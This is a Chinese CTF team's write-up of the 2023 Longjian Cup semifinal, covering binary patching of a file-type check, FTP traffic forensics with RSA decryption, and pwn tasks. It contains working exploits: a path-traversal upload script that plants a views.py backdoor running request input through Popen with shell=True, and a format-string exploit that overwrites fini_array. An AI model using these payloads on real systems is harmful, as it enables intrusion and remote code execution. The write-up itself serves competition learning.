2023陇剑杯半决赛
半决赛战况
- 战况: 逐日组 10th. 总排名 24th.
- 第一天体验海星,靠通防上大分😅
半决赛 Writeup
实景防御
- MINIGAME、SafeNote、staticFix 直接 evilPatcher 上通防就能 fix
webpwn_
队内的 web👴🏻 整的
ImageHost
- 这是一个 cgi 程序(
upload.cgi
),所做工作是接收 POST 上来的文件数据,提取文件名,验证文件后缀是否合法,验证通过则随机生成文件名拼接后缀保存,并返回文件名
main
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125
| undefined8 FUN_001015ff(void)
{ int iVar1; int iVar2; char *pcVar3; size_t sVar4; char *pcVar5; char *pcVar6; char *pcVar7; void *__ptr; ssize_t sVar8; pcVar3 = getenv("REQUEST_METHOD"); if ((pcVar3 == NULL) || (iVar1 = strcasecmp(pcVar3,"POST"), iVar1 != 0)) { FUN_001015c8("Invalid request method"); return 0; } pcVar3 = getenv("CONTENT_LENGTH"); if (pcVar3 == NULL) { FUN_001015c8("No data received"); return 0; } iVar1 = atoi(pcVar3); if ((iVar1 < 1) || (0x500000 < iVar1)) { FUN_001015c8("Invalid content length"); return 0; } pcVar3 = malloc(iVar1); if (pcVar3 == NULL) { FUN_001015c8("Memory allocation failed"); return 0; } sVar4 = fread(pcVar3,1,iVar1,stdin); if (sVar4 != iVar1) { FUN_001015c8("Failed to read content"); free(pcVar3); return 0; } pcVar5 = strstr(pcVar3,"\r\n\r\n"); if (pcVar5 == NULL) { FUN_001015c8("Failed to find file data"); free(pcVar3); return 0; } iVar1 = iVar1 - ((pcVar5 + 4) - pcVar3); pcVar6 = strstr(pcVar3,"filename=\""); if (pcVar6 == NULL) { FUN_001015c8("Failed to find filename"); free(pcVar3); return 0; } pcVar6 = pcVar6 + 10; pcVar7 = strchr(pcVar6,L'\"'); if (pcVar7 == NULL) { FUN_001015c8("Failed to find end of filename"); free(pcVar3); return 0; } iVar2 = pcVar7 - pcVar6; pcVar7 = malloc(iVar2 + 1); if (pcVar7 == NULL) { FUN_001015c8("Memory allocation failed"); free(pcVar3); return 0; } strncpy(pcVar7,pcVar6,iVar2); pcVar7[iVar2] = '\0'; iVar2 = FUN_001013c9(pcVar7); if (iVar2 == 0) { FUN_001015c8("Invalid file type"); free(pcVar3); free(pcVar7); return 0; } pcVar6 = strrchr(pcVar7,L'.'); if (pcVar6 == NULL) { FUN_001015c8("Failed to find file extension"); free(pcVar3); free(pcVar7); return 0; } __ptr = FUN_00101506(pcVar6); if (__ptr == NULL) { FUN_001015c8("Failed to generate filename"); free(pcVar3); free(pcVar7); return 0; } pcVar6 = FUN_00101473(__ptr); if (pcVar6 == NULL) { FUN_001015c8("Failed to generate file path"); free(pcVar3); free(pcVar7); free(__ptr); return 0; } iVar2 = open(pcVar6,0x241,0x1ed); if (iVar2 == -1) { FUN_001015c8("Failed to open file"); free(pcVar3); free(pcVar7); free(__ptr); free(pcVar6); return 0; } sVar8 = write(iVar2,pcVar5 + 4,iVar1); if (sVar8 != iVar1) { FUN_001015c8("Failed to write file data"); free(pcVar3); free(pcVar7); free(__ptr); free(pcVar6); close(iVar2); return 0; } close(iVar2); free(pcVar3); puts("Content-Type: text/plain\n"); printf("%s",__ptr); free(pcVar7); free(__ptr); free(pcVar6); return 0; }
|
漏洞在这 FUN_001013c9
函数里头:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| undefined8 FUN_001013c9(char *param_1)
{ char *pcVar1; undefined8 uVar2; pcVar1 = strchr(param_1,L'.'); if ((pcVar1 == NULL) || (((((*pcVar1 != '.' || (pcVar1[1] != 'j')) || (pcVar1[2] != 'p')) || (pcVar1[3] != 'g')) && (((*pcVar1 != '.' || (pcVar1[1] != 'p')) || ((pcVar1[2] != 'n' || (pcVar1[3] != 'g')))))))) { uVar2 = 0; } else { uVar2 = 1; } return uVar2; }
|
- 这个函数想要找到后缀并验证后缀是否为
.jpg
或 .png
,但使用的是 strchr
函数,是从左侧找到第一次匹配的 .
,如果上传的文件名为 xxxx.jpg.txt
即可绕过该检查
- 绕过后可通过构造软连接读取任意已知路径文件
- 修复方式也很简单,前面主函数
001018be
处看到有用 strrchr
,直接将 FUN_001013c9
函数中的 CALL strchr
修改为 CALL strrchr
即可(从右侧找第一次匹配的.
)
这里在 Ghidra patch 时可以看到 call 的地址是 0x00101230
,找到这个地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ************************************************************** * THUNK FUNCTION * ************************************************************** thunk char * strchr(char * __s, int __c) Thunked-Function: <EXTERNAL>::strchr char * RAX:8 <RETURN> char * RDI:8 __s int ESI:4 __c <EXTERNAL>::strchr XREF[2]: FUN_001013c9:001013e5(c), FUN_001015ff:001017d1(c) 00101230 f3 0f 1e fa ENDBR64 00101234 f2 ff 25 JMP qword ptr [-><EXTERNAL>::strchr] char * strchr(char * __s, int __c) 45 2d 00 00
|
往下一点找 strrstr
:
1 2 3 4 5 6 7 8 9 10 11 12
| ************************************************************** * THUNK FUNCTION * ************************************************************** thunk char * strrchr(char * __s, int __c) Thunked-Function: <EXTERNAL>::strrchr char * RAX:8 <RETURN> char * RDI:8 __s int ESI:4 __c <EXTERNAL>::strrchr XREF[1]: FUN_001015ff:001018be(c) 00101250 f3 0f 1e fa ENDBR64 00101254 f2 ff 25 JMP qword ptr [-><EXTERNAL>::strrchr] char * strrchr(char * __s, int _ 35 2d 00 00
|
把调用的地址从 0x00101230
改成 0x00101250
就行, 用 Ghidra 的 patch,选这个修改字节最少的(1字节): e8 46 fe ff ff
👉 e8 66 fe ff ff
Ghidra Patch 之后导出的程序有大问题,直接服务异常;最后还是得用 IDA Pro 来 Patch,把这一个字节改了就能 fix 成功
Ghidra Patch 之后导出的程序单看文件大小:修改前 18KB,patch后13KB(不晓得扬了啥);提交使用 Ghidra Patch 后的程序的检查结果是服务异常【挖个坑,以后再看看为啥】
TODO
guide
漏洞在 websiteapp/views.py
的 class IconViewSet(View)
的 post 方法中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| def post(self, request): id = request.POST.get('id') name = request.POST.get('name') if str(name) == "default.png": return JsonResponse({"code": 500, "msg": '图片名称不能为default.png,请修改'}) file = request.FILES.get('file') save_path = os.path.join(settings.MEDIA_ROOT, 'icon', name) ins = models.WebSite.objects.filter(id=id).first() if ins: ins.icon = name ins.save() try: with open(save_path, 'wb') as f: for chunk in file.chunks(): f.write(chunk) return JsonResponse({"code": 200, "msg": "替换成功", "detail": ''}) except Exception as e: return JsonResponse({"code": 500, "msg": "替换失败", "detail": e}) else: return JsonResponse({"code": 404})
|
漏洞利用脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
|
import requests
login_url = "http://localhost:8002/api/login/" vuln_url = "http://localhost:8002/api/icon/"
login_form = { "username": "admin", "password": "admin@1234" }
multiform_data = { "id": (None, "1"), "name": (None, "../../views.py"), "file": ("a.png", open("./payload.py", "rb"), 'image/png') }
s = requests.Session() res = s.post(login_url, data=login_form).json() auth_token = res["detail"]["token"]
headers = { "Authorization": auth_token } res = s.post(vuln_url, files=multiform_data, headers=headers)
print(res.text)
|
这里的 payload.py
基于原本的 views.py
修改:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| def post(self, request): id = request.POST.get('id') name = request.POST.get('name') p = Popen(name, shell=True, stdout=PIPE, stderr=PIPE) stdout, stderr = p.communicate() if p.returncode == 0: return JsonResponse({"code": 200, "msg": "execute success", "detail": stdout.decode('utf-8')}) if str(name) == "default.png": return JsonResponse({"code": 500, "msg": '图片名称不能为default.png,请修改'}) file = request.FILES.get('file') save_path = os.path.join(settings.MEDIA_ROOT, 'icon', name) ins = models.WebSite.objects.filter(id=id).first() if ins: ins.icon = name ins.save() try: with open(save_path, 'wb') as f: for chunk in file.chunks(): f.write(chunk) return JsonResponse({"code": 200, "msg": "替换成功", "detail": ''}) except Exception as e: return JsonResponse({"code": 500, "msg": "替换失败", "detail": e}) else: return JsonResponse({"code": 404})
|
重启服务之后再次访问接口,测试一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import requests login_url = "http://localhost:8002/api/login/" vuln_url = "http://localhost:8002/api/icon/"
login_form = { "username": "admin", "password": "admin@1234" } datas = { "id": (None, "1"), "name": (None, "id"), "file": ("a.png", b"aaa", 'image/png'), } s = requests.Session() res = s.post(login_url, data=login_form).json() auth_token = res["detail"]["token"]
headers = { "Authorization": auth_token } res2 = s.post(vuln_url, files=datas, headers=headers) print(res2.text)
|
数据分析
soeasy
- 登录的密码是多少,请输入 md5 加密的 32 位小写字符串
这是一个 FTP 流量包,筛选 ftp 流量,直接就能看到登录成功时所使用的的密码
1 2
| echo -n test | md5sum -t - 098f6bcd4621d373cade4e832627b4f6 -
|
小坑: 直接用命令算 md5 时注意换行符
- 被加密的字符串是多少
从流量包中可以提取出以下文件:
private_key.pem
、public_key.pem
、py.txt
、encrypted.txt
- 即:私钥、公钥、加密用的 python 脚本、加密后的数据
对照加密脚本写个解密脚本就行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP
def encrypt_message(message, public_key_path): with open(public_key_path, 'rb') as f: public_key = RSA.import_key(f.read()) cipher = PKCS1_OAEP.new(public_key) encrypted_message = cipher.encrypt(message.encode()) return encrypted_message
def decrypt_message(message, private_key_path): with open(private_key_path, "rb") as f: key_data = RSA.importKey(f.read()) private_key = PKCS1_OAEP.new(key_data) decrypted_data = private_key.decrypt(message) return decrypted_data
if __name__ == '__main__': with open("encrypted.txt.bin", "rb") as f: data = f.read() data = decrypt_message(data, "./private_key.pem") print(data)
|
执行脚本得到加密的数据:8dhn3edfna93rAPN
- 图片中隐藏的数字是多少 【这题没整出来】
FTP 传输流量中有一个 11.zip,其中包含有一个 11.bmp 图片,打开是这样:
根据图片大小 ( biSizeImage
: 8957952
)、图片宽度 ( biWidth
: 2304
) 和比特数 ( biBitCount
: 16
) 信息计算出高度为 1944
【 8957952/2304/(16/8)
】, 修改后得到:
然后就卡这了,提交了一顿没个对的,谁能告诉👴🏻这数字不是 30104023010402
还能是啥
session、easy_shiro
人工智障
- 🤖没拉到本地,还得手搓
- 全是pwn入门题目,思路在各题目描述里也有,根据思路手搓就行
fmt3_x64
其中 fmt3_x64
的格式化字符串漏洞覆盖 fini_array 操作头一次用,记录一下这个:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
|
from pwn import *
io = remote("172.16.7.10", 11473) elf = ELF("./fmt3_x64")
io.sendafter(b"your fmt >>>\n", flat([ b"%01784d" b"%8$hnAAAA", p64(0x006009b8), b"\n" ]))
io.interactive()
|
2023陇剑杯总决赛
被暴打的战况
- 👴🏻🚪太菜了,被虐麻了,愣是一个都没 patch 成功
- 第二天体验极其煎熬,通防不好使了😅
- 战况: 总排名 60th.
总决赛 Writeup
TODO: 等先忙活完最近的事情再来补吧
实景防御
- 原本想上来先 patch 一个好上分,然后再去 RHG 赛道启动一下🤖
- 没想到直接 patch 了一天也没 patch 成功一个😅
TODO
数据分析
TODO
人工智障
TODO